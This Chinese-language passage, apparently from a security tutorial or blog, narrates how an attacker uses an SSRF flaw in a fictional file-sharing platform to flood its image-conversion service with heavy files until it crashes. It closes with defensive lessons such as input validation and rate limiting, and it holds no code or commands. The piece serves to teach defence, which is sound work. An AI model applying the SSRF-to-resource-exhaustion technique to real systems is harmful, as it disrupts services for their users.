在分析过程中，暗影猎手发现平台的某个功能模块存在SSRF漏洞。这意味着他可以通过精心构造的请求，诱使FileSharePlus的服务器去访问（或请求）他自己指定的任意URL。这为他提供了一个非授权访问内部服务（如图片转换服务）或其他外部系统的机会。

攻击步骤：

构造请求：暗影猎手首先准备了一组特制的HTTP请求，每个请求中包含一个指向大尺寸图片（比如高分辨率照片或复杂的矢量图形）或特殊格式图片（可能导致转换算法效率低下的文件）的URL。
利用SSRF：利用发现的SSRF漏洞，他不断地向FileSharePlus服务器发送这些请求，但实际上是让服务器的图片转换服务去处理这些图片。
资源耗竭：由于每次请求都指向需要大量计算资源来处理的大文件，图片转换服务很快就被迫处理大量繁重的任务。这导致服务器的CPU利用率激增，内存占用过高，同时网络带宽也被这些频繁的请求所占用。
系统瘫痪：随着资源的快速消耗，原本用于处理正常用户请求的系统资源变得极度紧张，最终导致整个FileSharePlus平台运行缓慢，新用户请求无法得到及时响应，甚至可能出现服务完全中断的情况。

后果与教训：
这次攻击展示了即使没有直接执行恶意代码（如RCE），通过滥用服务功能和资源管理不当，也能对系统造成严重影响。对于FileSharePlus来说，这是一个重要的教训，提醒他们需要加强服务的输入验证、实施请求速率限制、优化资源管理和增强对外部请求的过滤机制，以防止此类攻击再次发生。同时，这也凸显了进行全面安全审计和渗透测试的重要性，以提前发现并修复潜在的安全漏洞。

结果与教训

通过这个例子，我们可以看到，一个初始的SSRF漏洞可以作为跳板，让攻击者深入企业内部，执行RCE获取服务器控制权，或者利用内部服务发起DDoS攻击，造成严重的业务中断和安全威胁。这强调了在设计和维护应用时，必须严格控制对外部输入的处理，实施多层次的安全防护，包括输入验证、访问控制、资源限制和持续的安全审计，以防止此类连锁反应式的安全事件发生。

看星猩的柴狗